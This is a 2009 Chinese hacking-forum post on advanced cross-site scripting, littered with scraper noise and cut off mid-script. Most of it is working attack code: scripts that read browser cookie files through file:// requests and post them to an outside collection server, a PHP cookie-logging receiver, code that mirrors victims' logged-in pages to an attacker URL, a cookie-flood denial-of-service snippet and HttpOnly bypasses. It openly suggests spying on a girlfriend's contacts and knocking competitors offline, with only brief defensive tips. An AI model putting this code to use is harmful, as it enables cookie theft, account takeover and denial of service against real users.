XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
2 a; @: L9 b* l3 Q$ q6 k# |
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
7 S6 t1 E$ e) j& X( Zhttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

! Q7 ?- Z0 \( e- Z9 u0 j" |) Y2 C( v

, i5 t* r  n. W- O" |. Q; Z& h-------------------------------------------前言---------------------------------------------------------


4 S  g9 F- t3 w8 O本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
% l3 }4 @! {/ `( @" R: b

如果你还未具备基础XSS知识,以下几个文章建议拜读:
% [  V% w% ]0 E4 Shttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
0 \# J7 P" _5 T. g6 j; o. zhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
8 U! d2 l/ O; Q* Hhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
8 J! b# F, ]! i" e' Y# ehttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


, m! \0 k7 K# ?/ s, s

& s3 m' ~- x# C$ W3 n) h9 |1 }如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

$ b! R2 r' S0 ~9 ^* n- i希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
8 d+ D4 G7 m& Q  l% q
QQ ZONE,校内网XSS     感染过万QQ ZONE.

7 f* V  N8 B; B1 b8 LOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
! _! U. \+ m& ~
+ d- k% T9 N1 }3 S' F( Z( P+ x..........
! I  N; z4 B! b: g复制代码------------------------------------------介绍-------------------------------------------------------------
7 g$ Q1 i% Z" {+ V
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

' [; n* W1 k, Q5 |$ s

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
& R1 I! x( r$ C7 P4 e! b
# M8 K3 \0 n. R' U
8 d+ h8 x0 @' `$ u7 \8 W
! E' Y( X7 z) k* v9 E: s! T如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
4 s" Q* u% q/ O9 W我们在这里重点探讨以下几个问题:
/ q1 d- q( Q3 M6 z" s
3 j" a# _  n0 P1        通过XSS,我们能实现什么?
/ g7 l' q% M. l2 L# C
) Y$ F  v8 ~* c2 H4 p+ S% ?2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

9 C% c) |2 f% _+ H0 ~% s: S. }3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

$ }1 h) V% z) W; S. x4        XSS漏洞在输出和输入两个方面怎么才能避免.
' Q" Q9 J4 q" g( ~) {


3 H( L  f: C3 k' _% W------------------------------------------研究正题----------------------------------------------------------
) S- \6 v: A2 O# W$ {0 S; j7 I
& r# r8 p2 N7 v( V) m8 W
: t( ?" o; N8 ?9 @
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
& m8 m5 i4 b- D4 }3 g/ q! E$ }1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
4 I1 a. e& t5 E8 q# n2 h- b2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.


. e, S- c3 k, P+ V. q: G

& d9 _& v1 G6 A! w, K, j
) \& f5 s% M& g4 F# I- k3 l0 y(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

+ e. W+ _, v( v, t8 n' E( d, K我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

/ L; D, s8 r- j" R* u3 [3 P
) J3 g0 H/ R0 |$ u% d2 _
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
8 b8 B  N9 T' E! K/ c& ]


    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

+ r) J3 c7 b& m) b

# F" f4 w% i5 ]3 u# w    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
9 X& @" `+ D- I3 `复制代码IE6使用ajax读取本地文件    <script>
7 _. c7 P8 K% m4 E' v  H9 e' M
) d, Y: [9 f6 ]" ?5 R    function $(x){return document.getElementById(x)}
% {; Q7 e# e6 j: x# ^


    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


9 L3 ?/ @& K+ F+ q: T) P* r" b4 J0 s
, [' \2 P7 q5 K- p' O    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
2 w: F! N( r( k) W- ^& v
    for(var i=0; i<versions.length; i++) {
* p1 W' @7 [1 l
, O6 [$ n2 [4 z4 y1 M6 f    try {

/ U" r5 L5 Y  f' G( ~    request = new ActiveXObject(versions);

0 Q% J7 |+ \* ^$ b) ~" r    } catch(e) {}

    }
8 M2 v/ @+ @3 j( K0 T' I- t
5 ^2 @& U( Q" z% R+ E, T  V- V    }

    return request;
9 l( }7 M( m6 M; i" l% |  c
/ b' c& Z7 o: y: F0 d6 n    }
" W% E$ O% j, _2 N# L/ \
    var _x = ajax_obj();

    function _7or3(_m,action,argv){
1 u$ `5 L5 [2 T4 ]8 Q7 d+ v; ~" |" [
    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
- Q( ]) L# S: G# r
. L" A3 t) [, g/ {2 H+ A    _x.send(argv);
. E5 h0 L8 w1 f
' c% p$ r% Y: ]- L6 R    return _x.responseText;
% j3 o3 C/ ^1 T
1 v$ M  R% V9 @, d    }
, R. _6 k7 Q! b8 {, _% y: W
. \) |  c6 v* m, g+ K
0 _$ z" m5 O8 p7 t( c7 q) a' C
  @( n7 t+ Y3 x# Q' ]8 p    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

7 _2 u. f# v5 Q( w/ q6 u1 I    alert(txt);


& j, e& b6 @- M9 Y1 E* y
    </script>
0 e0 [' p- l1 f- I/ s复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

  ]0 L$ k. l# i8 c$ j    function $(x){return document.getElementById(x)}

6 f# L# e" s6 a; P5 [& Q# v6 O
3 Y) G. l2 Q9 u* r$ ~- d
    function ajax_obj(){

    var request = false;
: P6 p  i- ~! i; Q9 V
    if(window.XMLHttpRequest) {
7 T+ f( v; u9 P' ^7 h4 }: R
/ }# J6 ^- v5 H- s- i- D! h; \    request = new XMLHttpRequest();

: X' _* T; o( `. B    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
( y% z4 Q+ K8 u+ R% z
2 `+ e$ l# I$ r3 P' g8 D  G/ @
0 o' b( q/ W0 P! F! j  W: L
) _) b- @( i) L2 t3 ^    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

- b0 i6 Y! Z$ u4 W0 C: c; {    for(var i=0; i<versions.length; i++) {
' {- ?, P" w% U
    try {
) n0 g4 a8 h9 p2 Q( W  w* j
    request = new ActiveXObject(versions);
# K4 u2 S2 E7 b: u
    } catch(e) {}

9 Z0 E3 C( a5 z    }
8 N9 l2 W2 {, [+ S- L, I
    }

2 h. Y8 c8 s. H    return request;

    }

8 B7 R# W/ y/ U  x    var _x = ajax_obj();
) ^2 r: |' K+ j" L3 J" J& J7 [
    function _7or3(_m,action,argv){

1 Q4 a* i. z+ p    _x.open(_m,action,false);
* i' {% a% c$ r+ c3 T
! w, E/ [0 Z; I" Q3 y# C$ g; f7 t/ F. ~    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
% N- y. h1 N+ O# T
6 d# I4 y' Q8 X    _x.send(argv);

4 K& R3 G& K) ?; G% g* `1 ]3 `    return _x.responseText;
9 i5 A' u: V! d% Y$ _
    }
1 @6 i2 J: A: s  O0 z

+ s. I. Y* ~* c8 Y# w4 M
    var txt=_7or3("GET","1/11.txt",null);
; ~2 b! {- H' F5 J
# f6 H  u" Y& K7 x! g    alert(txt);
/ w& Y3 [& e: S0 G# m4 z% |

1 d* O6 Q  t! y! F9 u2 a
2 ^: q" o& L& |, Q$ D% G    </script>
* |, F% A8 P0 z. {复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
  G* A/ i9 Z5 O6 \
6 v9 O* y; i* [, s
  _4 ^  t0 h: X5 n% ~  Z! E. m8 N
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

6 q- o& A; j; m

<?   

/*  

6 j7 W5 W1 ?. E' G) n/ c- x% L     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
0 t) Q. y9 n/ |$ D' y  l
     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
5 N$ P/ A! r6 _$ K( p; @
. N, H2 |3 _7 K$ L1 a     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

; c- J6 a& h: s/ y' o: j*/  
' z' m5 ~. ~& O
  i! J1 t( m/ z9 c+ T; ]header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
* o9 R; @2 j9 M( D# S( o% k+ r
/*  
2 l3 t% Y  {9 `. N, b0 c
4 @6 f: \3 K. M$ a4 t! ]     set header, so just download html file,and open it at local.  

*/  

. y+ P6 ?% y# z/ }5 }/ ]?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

& i/ ?6 ?( L" N" V     <input id="input" name="cookie" value="" type="hidden">   
+ g4 K* ]6 t- _7 Q8 H: F
, a  }+ d( F0 D$ |% I# n+ [! h</form>   

  K8 \# {' }$ P% l6 T8 W<script>   

function doMyAjax(user)   

{   

var time = Math.random();   

/*  
% |9 V9 T2 L2 `0 _# L
/ |! e, i, f3 Z( B' W% `8 q- ^+ cthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
$ J5 F* o! L5 s+ d. Y, k$ |2 C
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
. {& Y) P, n0 X0 x6 b/ l4 X3 G
8 }* f& K' ^' u8 s; Tand so on...  
, u+ j! U6 {. K( H! X
*/  
" c6 v0 v$ U  e! s
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
, u( S2 ?, Q1 k) W. m3 H. r% P/ v: W
   

$ @9 a" m8 C7 j) j: A) sstartRequest(strPer);   



}   

$ M3 g( V7 U* M   

1 o# n( C% z* Bfunction Enshellcode(txt)   
# e- F' }: X) k# m
{   

var url=new String(txt);   
- k. j0 M$ }* @
$ V% ~& k/ w( _var i=0,l=0,k=0,curl="";   

l= url.length;   

for(;i<l;i++){   

& w3 b, J3 o3 F4 D' V/ Y& G' sk=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
( ]9 P( y3 o, c2 E3 O  T2 Q
if (l%2){curl+="00";}else{curl+="0000";}   
6 k& e) z% c! e2 E
8 ~& y3 |& u$ ?' gcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
; _0 r; l9 j* k, f3 \! w- g  K
! Q; W7 w; W8 d5 jreturn curl;   
0 T$ }' {  E: v; p, y# _. l* s
}   

   

; z% ]2 d7 m0 ~6 P( x6 N" U   

0 {/ Y- f5 ?5 T' J- G! v5 Zvar xmlHttp;   

& @+ ^1 A2 B3 [& y8 p  i% k" Ofunction createXMLHttp(){   
! B% v4 I6 ^* y- N6 C0 t, I
     if(window.XMLHttpRequest){   

6 p! Y8 r( k0 k0 V5 ~xmlHttp = new XMLHttpRequest();           

$ q- L- c8 d% L) V, z     }   
8 A; f  Y( q9 s6 O: A7 T( }* m
     else if(window.ActiveXObject){   
+ C6 l( s2 w7 U: A
$ j1 A4 [! }( _( ExmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
( p- k- t, _, ~& S3 e3 m6 Y# H
     }   
9 W: }5 u! E5 W- X
! f5 {: `; f/ X! d8 y}   
, K1 `% B# f  @9 t1 b& f0 L) L# y
3 l) b6 V, ^& x& r8 ?. ^- ^   

function startRequest(doUrl){   

   
% Q7 K% h8 l- c6 o) A
3 y4 j; h+ y( Y, o% X     createXMLHttp();   



7 h3 I+ Z8 a2 E) j, _+ H  L     xmlHttp.onreadystatechange = handleStateChange;   
1 e) ?. _3 X( o


8 J$ U9 p& k- e; H( \& P* y) f     xmlHttp.open("GET", doUrl, true);   
% q0 g9 a) A8 ^0 ?

* K1 f! ~: J$ `) X
     xmlHttp.send(null);   


" r$ }- h5 v+ j7 F( `8 e' X
! x/ I, b! m! r6 b0 v: W7 J
) w. k2 i2 p3 V6 c3 u
}   

   

. ?8 F7 n/ B2 H' c$ Ofunction handleStateChange(){   
; m" n$ `) i8 n* l! E, v: a
+ y' ?- `8 u% `% V, y     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   
$ x' \( J/ z' k, E5 W( U
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
% A/ i: b1 E6 h1 A  t
& l3 |) g5 \& J* a/ t' b" [, h        
) h, S' f& C' c8 T
+ J( _* A8 @8 k5 T- _( w! j     }   

; h3 W9 f* I% W# V}   
& h/ C1 V( Y$ {, h9 |' l
. E8 Y+ R3 ~& w( M/ W) p3 j  u   
) U( s) w1 C( u- K$ b
4 `+ l9 ]+ R; u   
9 ?! F+ N0 G! z& I- J- h9 V
7 [. Y' H( ?; [# z& xfunction framekxlzxPost(text)   

5 A9 ^7 j, h# g3 C& T{   

) j( j' C) Z, ]7 m4 b0 ^     document.getElementById("input").value = Enshellcode(text);   
# x7 i7 M* a' B5 B6 q
     document.getElementById("form").submit();   

}   

3 y. P* M: e3 Z   

doMyAjax("administrator");   

   
$ v2 p9 q& n" z, }) ?
* C% [7 T3 I5 L</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
; g" ~: i/ e) o
0 \' c2 B: f% w9 Y' P. Rvar xmlHttp;  

function createXMLHttp(){  

     if(window.XMLHttpRequest){  

4 z0 R. [* `0 C1 @6 y  t: Z  E         xmlHttp = new XMLHttpRequest();         

     }  
- O3 X* v) M1 T/ H% E
     else if(window.ActiveXObject){  

7 T0 _* \& C- n  K4 C; `4 b         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

9 f5 [9 m1 A, f  [$ m}  

9 A9 q0 z' i" Y, Z% G+ X: M  y( w, R   
1 c  R" M' l! e8 p+ ?" P! o
function startRequest(doUrl){  
& S( D) D' ^6 u: H4 x
           
0 n7 A% I* V4 i2 z/ }6 S7 X
     createXMLHttp();  
( }; H+ p8 T: v( t
* X! p  C1 h" w# T4 Z      
) O) H8 W% o/ F/ B: O
8 n. a& M6 y+ M5 _     xmlHttp.onreadystatechange = handleStateChange;  

      
# o$ \; P; {5 y( U* I) T0 e1 o
     xmlHttp.open("GET", doUrl, true);  

      

& f  m3 \1 ]# E4 f( \     xmlHttp.send(null);  
! P' c" g/ \  `% y+ f" g# I! i* |
      

      

}   
4 U! u9 `( h9 L0 ^8 Y& o
! [6 Z8 D) l$ W) H$ d   

% G/ u. e( W+ C9 B  ?% f1 dfunction handleStateChange(){  
% X! _9 h: K2 o6 G& b& V! K
) q3 r; w% }( u+ P2 Y     if (xmlHttp.readyState == 4 ){  
  F7 j; U" ^. ~7 u& u* C* Z4 d* w/ y
             var strResponse = "";  
) x: i1 h2 a2 R/ W! h5 B$ E
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               
) V; {  {& V, Z! c) G; U
     }  
$ z1 m' B/ o$ _
}  
4 ^$ C" L1 y  I- p
   

function doMyAjax(user,file)  
. U; d. A2 Y" @  O
{  
3 _% @4 y/ D8 _
         var time = Math.random();  
8 I- k  Z. z6 \% @% R
6 s* z6 o- D( b           

! ]% S6 [9 E4 K* ~2 [' ?7 S         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
- A+ d+ i3 T: j% k4 m, N
% d( a' [6 L5 J* _2 G           
* [+ R  _/ U: p+ N& ~9 x; o( Z
         startRequest(strPer);  

' H6 z' C/ I2 p" X* Y      
0 F( I8 t0 ^8 b5 l
+ u3 B  h9 P. O) y! w# Y}  
; r0 ]6 D- y6 l: {3 H! z
   

2 [- d# G3 w: z! afunction framekxlzxPost(text)  
) C3 r( Y3 V3 Y/ ~5 G
{  

- P) c1 i" \7 f1 H- m     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
/ k/ `0 S! I3 f- |- ^
$ p  ^* W& U4 N- P5 W" @}  

   

doMyAjax('administrator','administrator@alibaba[1].txt');  
1 A8 `( p# I1 e# f* M
4 X! G: C+ n  D% i5 G1 E   

7 ~% P" {( [) G+ |</script>



* j( A& ?  c6 U* ~3 ]. b
& A* y, x  h; Z, L, ?2 E; R: M
a.php
4 v0 B. r; `! \! [- G9 T


" U. W; ~; d# M<?php      
/ K7 f  ?) P7 p* t# Q2 @& \
   
8 z9 _- M' _3 ?9 ]: f  O; ?
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

5 i1 M) v/ M7 f! [) ~; X$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
7 P+ O# A3 s. r0 R! s
  z& s9 z: n3 c& x  
1 E: S; p7 t& Y  k
( J* p* h9 ]4 \. W$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

2 F0 R. r  _; f3 |' ^5 h3 \( M$ ofwrite($fp,$_GET["cookie"]);      
8 [$ m' |& o. u! J! W! G3 M' B
fclose($fp);   

% A& I0 N, X" U) \- i; n+ O# h?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

' P" b% E/ w1 l6 _7 h或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

1 m; R. p, H  S5 i) F! w' o. {代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

- J0 D3 ^9 V! i' p//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
# R( @* o/ c3 X/ v
3 B3 E) b/ ^, }$ X- w/ L//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

. S) c9 B' w& ~function getURL(s) {

2 s# U3 L; W# Avar image = new Image();

image.style.width = 0;
3 A7 g- `, B% _  [% Q
image.style.height = 0;

' s6 ]# A6 A5 B2 Q& \9 Jimage.src = s;
* g$ i. F6 `9 ?3 A2 h$ Z; n
1 D; T, h/ U( H5 K% t; o}
* f6 m3 v3 n/ }& m
) q. d1 Z0 x1 @7 o+ n7 ?getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
+ \& B7 X) s& N
" g5 s+ {3 G4 x0 e9 C1 ~0 avar metastr = "AAAAAAAAAA"; // 10 A

var str = "";

while (str.length < 4000){

# v9 w5 K1 K+ ~5 p    str += metastr;

/ h0 c# g. T# J; o3 y}


6 H0 V, e- y# A; W
+ M# H, ~) L/ C- [/ v; tdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
1 Z) t: b! J/ X
! v* t5 Z6 }) u- f/ y</script>

8 n% V7 [  I; H* X" c( S3 [& P详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
+ {1 D. j1 i* W4 b/ V/ M复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
2 U/ ]8 w5 H# y' z) S
+ x( h, o& X0 D& s8 D$ a4 x% g! R, X假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
* l% S' r2 h" P' P3 O$ b4 j攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
8 f" ~. o: k% q& Z( N' i' j$ b

# s. N( Z. d5 d, m2 U
9 S* i8 |- g* T) A+ [; `/ h8 @  R, a  q4 M


(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

( q1 `4 k* d  m7 r8 \0 _1 `<!--

' c3 _( R5 T$ A% [7 h) G5 I1 zfunction normalCookie() {

2 D9 ^) b: r7 o' S/ ~  E6 X; xdocument.cookie = "TheCookieName=CookieValue_httpOnly";

+ I8 R( w5 y% D( malert(document.cookie);
0 p) E' n: R% ?
  ]) h/ Y1 D1 `7 L8 y8 O# s}
1 N  `  K9 U  b) |/ d



: f1 a/ }. m8 |8 z/ \- z0 T1 h
function httpOnlyCookie() {
  Z3 d# p1 W2 S3 o9 s9 J4 D; B6 v) @
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}

, x( z# f) ~8 x8 k& X

7 y2 ?4 F/ h' x/ A9 ?//-->
; y: r1 i6 \6 {, X# O9 \+ @' W' C5 u
</script>

9 n: E& U/ Q/ e. b* k

<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
# V8 M7 i/ X  p) y/ h0 r
) o7 N# p4 i/ i. R<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
+ f( _5 v* K- B: H" J
2 V3 h$ i2 G4 ^5 O4 L  \: ~

' t8 E3 f7 v. d+ N1 C* kvar request = false;
0 m! k/ D' {: g" c, t( p
        if(window.XMLHttpRequest) {
5 F2 m% y  Y" H6 |0 f0 Q) _; h% m
            request = new XMLHttpRequest();
+ j8 E" ~" D5 A0 {  S
& X4 o$ Z" P, O( `            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

            }
$ E$ H! B1 n. K* w7 x. g6 W7 f7 y
        } else if(window.ActiveXObject) {
3 V# L6 b/ H" e
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

+ r) h* s3 c3 O" Q1 Q                try {
! X5 a$ ^4 W8 V% o9 t
                    request = new ActiveXObject(versions);

( Y. g, J% ]* x' M7 W  a" H                } catch(e) {}

            }

        }
& u9 N# Z0 J( ^; t* M
xmlHttp=request;
/ z; [/ F) P8 _/ G8 c
6 Z3 A" C, Y. Y) ^xmlHttp.open("TRACE","http://www.vul.com",false);

; q6 ^" q" w/ f7 F- R$ q) ?xmlHttp.send(null);
5 a7 n# V$ X5 a9 Q1 n- m  |
+ ?# s( B# `; l) @0 R% R# sxmlDoc=xmlHttp.responseText;

alert(xmlDoc);
1 l; p! D( @$ ?) X# K4 ]; A+ z
</script>
$ D; p2 X. p2 U* u* O复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
  T7 c0 j% j* i8 Y) B; Z" y8 ]# k
3 _" A$ \! j% hvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

: I( r$ V, b# zXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

. k; o; ~1 Z; @* nXmlHttp.send(null);
9 J" x6 v+ G5 D
3 ]) m" p+ ^5 Evar resource=xmlHttp.responseText
3 _: C* M, ?. Y" z7 ]2 l
- a) }$ t; w& h$ w& Z0 Zresource.search(/cookies/);

......................
) h1 h! z  ?; m' A' s# v
</script>



  p( P( h- q% P* v
5 H  J2 L( t+ ?$ p7 L7 i
, K. y% n' G+ H* |, [如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
: x6 b- _1 i8 @+ \) [
) V# A0 ~7 x: k8 s[code]

1 S( Z% w6 o/ iRewriteEngine On
# \% t1 k( p3 E
/ y& T0 L9 ]3 Z' i$ p+ V( ARewriteCond %{REQUEST_METHOD} ^TRACE
$ ^2 F  ]/ A" w, i' m& u
RewriteRule .* - [F]

  E: F" a! j0 f0 K# K6 @

Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
: H: s# @8 \& V) @5 v6 s. a
& k: n0 V, [# g) Y( y# zacl TRACE method TRACE

...

( x- q9 f( o# I4 {+ fhttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
; l! f6 z9 F4 O) `: L
XmlHttp.open("GET","http://www.google.com",false);
- A5 b1 d# G6 X9 V' v
+ a! ^* b$ Z" ]$ SXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

* p; V( J1 {+ c  M* [XmlHttp.send(null);
. h9 t& w3 Y8 L! T( |" `
+ b" F2 P8 a& m5 T! A</script>
7 M' @7 U2 H* {* r. V2 n1 X4 g, J复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
& [  ~' P- b) |9 c& @; Q" @
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

